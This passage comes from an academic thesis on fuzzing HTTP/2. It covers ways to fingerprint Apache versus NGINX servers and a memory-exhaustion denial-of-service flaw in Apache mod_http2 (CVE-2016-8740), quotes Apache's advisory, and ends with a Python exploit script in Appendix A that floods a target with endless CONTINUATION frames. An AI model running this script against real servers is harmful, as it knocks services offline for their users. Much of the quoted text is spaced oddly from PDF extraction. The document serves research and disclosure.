WINDOW_UPDATE, PRIORITY, or RST_STREAM, f o r a stream that i s in
t h i s s ta te , i t MUST respond with a stream e r r o r o f
type STREAM_CLOSED.
A stream that i s " ha l f c l o s ed ( remote ) " can be used by the
endpoint to send frames o f any type . In t h i s s ta te , the endpoint
cont inues to observe adve r t i s ed stream l e v e l f low c on t r o l l im i t s .
A stream can t r a n s i t i o n from th i s s t a t e to " c l o s ed " by sending a
frame that conta in s an END_STREAM f l a g or when e i t h e r peer sends a
RST_STREAM frame .
The end point which is half-closed(local) is not expected to transmit any frame
to the other end point. But in case if the end point transmits frame the behavior of
other end point is to close the stream with an error. Apache Web Server (versions
2.4.17 and above) does not close the steam and it chooses to ignore the received
frames whereas the NGINX Web Server follows the specification and terminates the
connection.
Using this difference in behavior of the both web servers we can utilize this to
distinguish among them.
6.3.2 Frame Size in Apache Web Server.
The HTTP/2 specification states that every end-point should support minimum
frame length of 214. NGINX Web Server supports the entire frame length range
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i.e.from 214 to 224 where as the Apache Web Server supports only the bare minimum
frame length 214.
This difference in frame length can be utilized in order to distinguish between
Apache Web Server and NGINX Web Server.
6.3.3 Difference in Encoding String Using HPACK.
Header Compression.
The format de f ined in t h i s s p e c i f i c a t i o n t r e a t s a l i s t o f header
f i e l d s as an ordered c o l l e c t i o n o f name value pa i r s that can inc lude
dup l i c a t e pa i r s . Names and va lues are cons ide r ed to be opaque
sequences o f oc t e t s , and the order o f header f i e l d s i s pre se rved
a f t e r being compressed and decompressed .
Encoding i s informed by header f i e l d t ab l e s that map header f i e l d s to
indexed va lue s . These header f i e l d t ab l e s can be inc r ementa l l y
updated as new header f i e l d s are encoded or decoded .
In the encoded form , a header f i e l d i s r ep re s en ted e i t h e r l i t e r a l l y
or as a r e f e r e n c e to a header f i e l d in one o f the header f i e l d
t ab l e s . Therefore , a l i s t o f header f i e l d s can be encoded us ing a
mixture o f r e f e r e n c e s and l i t e r a l va lue s .
L i t e r a l va lue s are e i t h e r encoded d i r e c t l y or use a s t a t i c Huffman
code .
The encoder i s r e s p on s i b l e f o r dec id ing which header f i e l d s to i n s e r t
as new e n t r i e s in the header f i e l d t ab l e s . The decoder execute s the
mod i f i c a t i on s to the header f i e l d t ab l e s p r e s c r i b ed by the encoder ,
r e c on s t r u c t i n g the l i s t o f header f i e l d s in the proce s s . This
enab l e s decoders to remain s imple and i n t e r op e r a t e with a wide
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va r i e t y o f encoders .
Use of Huffman encoding is optional and both the web servers choose different
length after which they encode the string using Huffman encoding.
6.4 Security Vulnerability: DoS
While testing this protocol using our approach, we discovered a serious security
vulnerability in Apache HTTPD web server configured to use HTTP/2.
In HTTP/2 the client initiates a new stream by sending a header frame to server that
contains the following -
• Unique unused odd number which acts as a stream id.
• Length of the entire frame.
• Appropriate flags
• List of HTTP request header like action (GET, PUT, POST, etc..), requested
resource, user agent and other information.
As mentioned in the previous section, if the client cannot fit all the header content in
one frame, the information is split into multiple frames where the last frame carries
a flag indicating the end of header information. During the tests, we realized that
the rate of packet transfer declined rapidly from client to server if the fuzzing process
did not send the flag marking the end of HTTP header request. Upon further inves-
tigations, we discovered that the Apache web server did not enforce any restriction
on the amount of memory that server can allocate for a particular client even after
configuring the server with low values for ’LimitRequestFields ’. The figure 6.2 shows
the amount of data received by the Apache web server and the memory it allocate
for the client.
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The server process gets killed by ’Linux out-of-memory killer’. The main point
here is the amount of data that the client has to send in order to kill a server machine.
Secur i ty Advisory   Apache Software Foundation
Apache HTTPD WebServer / httpd . apache . org
Server memory can be exhausted and s e r v i c e denied when HTTP/2 i s used
CVE 2016 8740
The Apache HTTPD web s e rv e r ( from 2 .4 . 17  2 .4 . 23 ) did not apply
l im i t a t i o n s on reques t headers c o r r e c t l y when exper imenta l module
f o r the HTTP/2 pro to co l i s used to a c c e s s a r e sou r c e .
The net r e s u l t i s that a the s e r v e r a l l o c a t e s too much memory in s t ead o f
denying the reque s t . This can lead to memory exhaust ion o f the
s e r v e r by a proper ly c r a f t e d reque s t .
Background :
            
Apache has l im i t s on the number and length o f r eques t header f i e l d s .
which l im i t s the amount o f memory a c l i e n t can a l l o c a t e on the
s e r v e r f o r a r eques t .
Vers ion 2 . 4 . 1 7 o f the Apache HTTP Server introduced an exper imenta l
f e a t u r e : mod_http2 f o r the HTTP/2 pro to co l (RFC7540 , prev ious
v e r s i on s were known as Google SPDY) .
This module i s NOT compiled in by de f au l t  and  i s not enabled by
de fau l t , a lthough some d i s t r i b u t i o n may have chosen to do so .
I t i s g en e r a l l y needs to be enabled in the ' Protoco l s ' l i n e in httpd by
adding 'h2 ' and/or ' h2c ' to the ' http /1 . 1 ' only d e f au l t .
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The de f au l t d i s t r i b u t i o n s o f the Apache Software Foundation do not
in c lude t h i s exper imenta l f e a t u r e .
De t a i l s :
         
  From ve r s i on 2 . 4 . 1 7 , upto and in c l ud ing ve r s i on 2 . 4 . 2 3 the s e r v e r
f a i l e d to take the l im i t a t i o n s on reques t memory use in to account
when prov id ing ac c e s s to a r e sou r c e over HTTP/2 . This i s s u e has been
f i x ed in ve r s i on 2 . 4 . 2 3 ( r1772576 ) .
As a r e s u l t   with a reques t us ing the HTTP/2 pro to co l a s p e c i a l l y
c r a f t e d reque s t can a l l o c a t e memory on the s e r v e r u n t i l i t r eaches
i t s l im i t . This can lead to den i a l o f s e r v i c e f o r a l l r e que s t s
aga in s t the s e r v e r .
Impact :
        
This can lead to den i a l o f s e r v i c e f o r a l l s e r v e r r e s ou r c e s .
Vers ions a f f e c t e d :
                   
Al l v e r s i on s from 2 . 4 . 1 7 to 2 . 4 . 2 3 .
Reso lut ion :
            
For a 2 . 4 . 2 3 ve r s i on a patch i s supp l i ed . This w i l l be inc luded in the
next r e l e a s e .
Mi t i ga t i on s and work arounds :
                              
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As a temporary workaround   HTTP/2 can be d i s ab l ed by changing the
c on f i gu r a t i on by removing h2 and h2c from the Protoco l s l i n e ( s ) in
the c on f i gu r a t i on f i l e .
The r e s u l t i n g l i n e should read :
Pro toco l s http /1 .1
Cred i t s and t ime l i n e
                     
The f law was found and reported by Naveen Tiwari <naveen . t iwar i@asu . edu>
and CDF/SEFCOM at Arizona State Un ive r s i ty on 2016 11 22. The i s s u e
was r e s o l v ed by Ste fan E i s s i ng and inco rpora ted in the Apache
r epo s i t o ry , ready f o r i n c l u s i o n in the next r e l e a s e .
Apache would l i k e to thank a l l invo lved f o r t h e i r he lp with t h i s .
I further explored the possibility of bug or finger-printable attack for the same in
NGINX and Apache web server and the results were shocking.
Figure 6.2 is a dual Y-axis graph which shows the memory consumption of the
system versus time of the left Y-Axis and data received by the victim server versus
time. The interesting thing in this graph is the scale on the two Y-Axis, memory
consumption is measured in GIGABYTES while the data received is measured in
MEGABYTES. The system configuration for this test was:
• Server i7 with 16 GB RAM
• Client Dual core Intel processor with 4GB RAM
Figure 6.3 shows the state of the system on right console, and the attack being
carried out on the left console. This test was done on a server grade machine to
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Figure 6.2: Memory Consumption of Victim vs Time
& Data Received by Victim vs Time.
prove that even the big servers can crash with same client machines. The system
configuration for the test was:
• Server Xeon dual processor each with 12 physical cores and 128 GB of RAM
and 128 GB of swap.
• Client Dual core Intel processor with 4GB RAM
6.5 Server Push
The server push feature explained in the HTTP/2 specification lacks any practical
use without extension of the specifications. The specifications talk about the packets
exchange between client and server, and how the client can accept or deny one or all of
the server push requests. The problem to be noted here is that the servers do not have
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Figure 6.3: System Statistics While Being Attacked.
the ability to guess the resources required by the client only on the basis of information
from the requested web page. Without knowledge of the required resources, the server
cannot push to client. One company - CloudFlare, has attempted to extend the server
push capability by utilizing the ’link’ tag in HTTP request. Now, when the server
tries to respond to a client request where the response is configured to include the
’link’ tag, it first pushes the associated resources and then sends the header.
As far as the security of this feature goes, there can be only 2 possible vulnerable
scenarios :
• Compromised server - Client is doomed anyways when it access the server, the
entire safety of client comes from the browser security feature including the
same-origin-policy.
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• Legit Server - The basic idea behind the server push is to utilize the following
times:
1. Time required by the server to prepare the web page, server can start
pushing the static resources like stylesheet, javascript, and may be images.
2. The time taken by the client to parse the web page.
In both of the above cases the client has no idea about the resources required by
the web page and hence can only cache the server push response and use them only
if required by the requested page.
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Chapter 7
CONCLUSION
With each passing day, the number of security attacks and threats to any system
connected to the Internet is rapidly accelerating. These threats exploit minute vul-
nerabilities at each network and software layer, making it of paramount importance
that we identify and prevent these vulnerabilities. Due to tremendous surge in ac-
ceptance rate of HTTP/2 protocol , it is a need of the hour to evaluate this protocol
for any such security susceptibilities.
Being a relatively new protocol, in comparison to its predecessor - HTTP 1.1,
containing many new functionalities, an exhaustive and effective testing methodology
needed to be developed. Context aware fuzzing for binary network commu-
nication protocol, as outlined and explained in this thesis, has proven to achieve
significant results in covering major aspects of security testing for HTTP/2 protocol.
Moreover, this approach has been generalized and can be modified to test any binary
network communication layer protocol, and not just HTTP/2.
Security vulnerability identified in the Apache Web Server, as outlined in section
6.4, has been very notable in preventing major DOS attack on systems using these
servers.
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APPENDIX A
PYTHON EXPLOIT CODE
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#!/ usr /bin /python
"""
The mod_http2 module in the Apache HTTP Server 2 . 4 . 1 7 through 2 . 4 . 2 3 ,
when the Pro toco l s c on f i gu r a t i on i n c l ud e s h2 or h2c , does not
r e s t r i c t request header length , which a l l ows remote a t t a ck e r s to
cause a den i a l o f s e r v i c e (memory consumption ) v ia c r a f t e d
CONTINUATION frames in an HTTP/2 reques t . ( https : // a c c e s s . redhat . com/
s e c u r i t y / cve/cve 2016 8740)
Usage : e xp l o i t . py [HOST] [PORT]
"""
import sys
import s t r u c t
import socke t
HOST = sys . argv [ 1 ]
PORT = in t ( sys . argv [ 2 ] )
s = socket . socke t ( socke t .AF_INET, socket .SOCK_STREAM)
s . connect ( (HOST, PORT) )
# https : // http2 . g ithub . i o /http2 spec/#ConnectionHeader
s . s e nda l l ( 'PRI ∗ HTTP/2.0\ r \n\ r \nSM\ r \n\ r \n ' )
# https : // http2 . g ithub . i o /http2 spec/#SETTINGS
SETTINGS = s t r u c t . pack ( ' 3B ' , 0x00 , 0x00 , 0x00 ) # Length
SETTINGS += s t ru c t . pack ( 'B ' , 0x04 ) # Type
SETTINGS += s t ru c t . pack ( 'B ' , 0x00 )
SETTINGS += s t ru c t . pack ( '>I ' , 0x00000000 )
s . s e nda l l (SETTINGS)
# https : // http2 . g ithub . i o /http2 spec/#HEADERS
HEADER_BLOCK_FRAME = ' \x82\x84\x86\x41\x86\xa0\xe4\x1d\x13\x9d\x09\x7a\
x88\x25\xb6\x50\xc3\xab\xb6\x15\xc1\x53\x03\x2a\ x2f \x2a\x40\x83\x18\
xc6\ x3f \x04\x76\x76\x76\x76 '
HEADERS = s t r u c t . pack ( '>I ' , l en (HEADER_BLOCK_FRAME) ) [ 1 : ] # Length
HEADERS += s t ru c t . pack ( 'B ' , 0x01 ) # Type
HEADERS += s t ru c t . pack ( 'B ' , 0x00 ) # Flags
HEADERS += s t ru c t . pack ( '>I ' , 0 x00000001 ) # Stream ID
s . s e nda l l (HEADERS + HEADER_BLOCK_FRAME)
# Sending CONTINUATION frames f o r l e ak ing memory
# https : // http2 . g ithub . i o /http2 spec/#CONTINUATION
whi le True :
HEADER_BLOCK_FRAME = ' \x40\x83\x18\xc6\ x3f \x04\x76\x76\x76\x76 '
HEADERS = s t r u c t . pack ( '>I ' , l en (HEADER_BLOCK_FRAME) ) [ 1 : ] # Length
HEADERS += s t ru c t . pack ( 'B ' , 0x09 ) # Type
HEADERS += s t ru c t . pack ( 'B ' , 0x01 ) # Flags
HEADERS += s t ru c t . pack ( '>I ' , 0x00000001 ) # Stream ID
s . s e nda l l (HEADERS + HEADER_BLOCK_FRAME)
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APPENDIX B
STATIC TABLE ENTRIES IN HPACK
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Table B.1: Static Table Entries.
Index Header Name Header Value
1 :authority
2 :method GET
3 :method POST
4 :path /
5 :path /index.html
6 :scheme http
7 :scheme https
8 :status 200
9 :status 204
10 :status 206
11 :status 304
12 :status 400
13 :status 404
14 :status 500
15 accept-charset
16 accept-encoding gzip, deflate
17 accept-language
18 accept-ranges
19 accept
20 access-control-allow-origin
21 age
22 allow
23 authorization
24 cache-control
25 content-disposition
26 content-encoding
27 content-language
28 content-length
29 content-location
30 content-range
31 content-type
32 cookie
33 date
34 etag
35 expect
36 expires
37 from
38 host
39 if-match
40 if-modified-since
41 if-none-match
42 if-range
43 if-unmodified-since
44 last-modified
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Index Header Name Header Value
45 link
46 location
47 max-forwards
48 proxy-authenticate
49 proxy-authorization
50 range
51 referer
52 refresh
53 retry-after
54 server
55 set-cookie
56 strict-transport-security
57 transfer-encoding
58 user-agent
59 vary
60 via
61 www-authenticate
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